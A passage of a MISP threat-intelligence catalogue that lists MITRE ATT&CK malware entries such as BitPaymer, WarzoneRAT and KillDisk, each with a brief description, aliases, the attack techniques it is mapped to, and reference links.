- uses: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5319. Table References

Links
https://attack.mitre.org/software/S0650
https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot
https://redcanary.com/threat-detection-report/threats/qbot/
https://securelist.com/qakbot-technical-analysis/103931/
https://success.trendmicro.com/solution/000283381

BitPaymer - S0570

[BitPaymer](https://attack.mitre.org/software/S0570) is a ransomware variant first observed in August 2017 targeting hospitals in the U.K. [BitPaymer](https://attack.mitre.org/software/S0570) uses a unique encryption key, ransom note, and contact information for each operation. [BitPaymer](https://attack.mitre.org/software/S0570) has several indicators suggesting overlap with the [Dridex](https://attack.mitre.org/software/S0384) malware and is often delivered via [Dridex](https://attack.mitre.org/software/S0384).(Citation: Crowdstrike Indrik November 2018)

The tag is: *misp-galaxy:mitre-malware="BitPaymer - S0570"*

BitPaymer - S0570 is also known as:

- BitPaymer
- wp_encrypt
- FriedEx

View relationships graph

BitPaymer - S0570 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows File and Directory Permissions Modification - T1222.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5320. Table References

Links
https://attack.mitre.org/software/S0570
https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/

eSurv - S0507

[eSurv](https://attack.mitre.org/software/S0507) is mobile surveillanceware designed for the lawful intercept market that was developed over the course of many years.(Citation: Lookout eSurv)

The tag is: *misp-galaxy:mitre-malware="eSurv - S0507"*

eSurv - S0507 is also known as:

- eSurv

View relationships graph

eSurv - S0507 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Geofencing - T1581" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1521" with estimative-language:likelihood-probability="almost-certain"

Table 5321. Table References

Links
https://attack.mitre.org/software/S0507
https://blog.lookout.com/esurv-research

SslMM - S0058

[SslMM](https://attack.mitre.org/software/S0058) is a full-featured backdoor used by [Naikon](https://attack.mitre.org/groups/G0019) that has multiple variants. (Citation: Baumgartner Naikon 2015)

The tag is: *misp-galaxy:mitre-malware="SslMM - S0058"*

SslMM - S0058 is also known as:

- SslMM

View relationships graph

SslMM - S0058 has relationships with:

- similar: misp-galaxy:malpedia="SslMM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 5322. Table References

Links

https://attack.mitre.org/software/S0058
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf

Ngrok - S0508

[Ngrok](https://attack.mitre.org/software/S0508) is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. [Ngrok](https://attack.mitre.org/software/S0508) has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.(Citation: Zdnet Ngrok September 2018)(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019)(Citation: MalwareBytes LazyScripter Feb 2021)

The tag is: *misp-galaxy:mitre-malware="Ngrok - S0508"*

Ngrok - S0508 is also known as:

- Ngrok

View relationships graph

Ngrok - S0508 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 5323. Table References

Links
https://attack.mitre.org/software/S0508
https://cyware.com/news/cyber-attackers-leverage-tunneling-service-to-drop-lokibot-onto-victims-systems-6f610e44
https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html
https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf
https://www.zdnet.com/article/sly-malware-author-hides-cryptomining-botnet-behind-ever-shifting-proxy-service/

FakeSpy - S0509

[FakeSpy](https://attack.mitre.org/software/S0509) is Android spyware that has been operated by the Chinese threat actor behind the Roaming Mantis campaigns.(Citation: Cybereason FakeSpy)

The tag is: *misp-galaxy:mitre-malware="FakeSpy - S0509"*

FakeSpy - S0509 is also known as:

- FakeSpy

View relationships graph

FakeSpy - S0509 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"

Table 5324. Table References

Links
https://attack.mitre.org/software/S0509
https://www.cybereason.com/blog/fakespy-masquerades-as-postal-service-apps-around-the-world

WinMM - S0059

[WinMM](https://attack.mitre.org/software/S0059) is a full-featured, simple backdoor used by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)

The tag is: *misp-galaxy:mitre-malware="WinMM - S0059"*

WinMM - S0059 is also known as:

- WinMM

View relationships graph

WinMM - S0059 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="WinMM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 5325. Table References

Links
https://attack.mitre.org/software/S0059
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf

Clambling - S0660

[Clambling](https://attack.mitre.org/software/S0660) is a modular backdoor written in C++ that has been used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2017.(Citation: Trend Micro DRBControl February 2020)

The tag is: *misp-galaxy:mitre-malware="Clambling - S0660"*

Clambling - S0660 is also known as:

- Clambling

View relationships graph

Clambling - S0660 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5326. Table References

Links
https://attack.mitre.org/software/S0660
https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf

WarzoneRAT - S0670

[WarzoneRAT](https://attack.mitre.org/software/S0670) is a malware-as-a-service remote access tool (RAT) written in C++ that has been publicly available for purchase since at least late 2018.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Warzone UAC Bypass November 2020)

The tag is: *misp-galaxy:mitre-malware="WarzoneRAT - S0670"*

WarzoneRAT - S0670 is also known as:

- Warzone
- Ave Maria

View relationships graph

WarzoneRAT - S0670 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

Table 5327. Table References

Links

https://attack.mitre.org/software/S0670
https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/
https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique

KillDisk - S0607

[KillDisk](https://attack.mitre.org/software/S0607) is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of [BlackEnergy](https://attack.mitre.org/software/S0089) malware during cyber attacks against Ukraine in 2015. [KillDisk](https://attack.mitre.org/software/S0607) has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://attack.mitre.org/software/S0607) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)

The tag is: *misp-galaxy:mitre-malware="KillDisk - S0607"*

KillDisk - S0607 is also known as:

- KillDisk
- Win32/KillDisk.NBI
- Win32/KillDisk.NBH
- Win32/KillDisk.NBD
- Win32/KillDisk.NBC
- Win32/KillDisk.NBB

View relationships graph

KillDisk - S0607 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 5328. Table References

Links
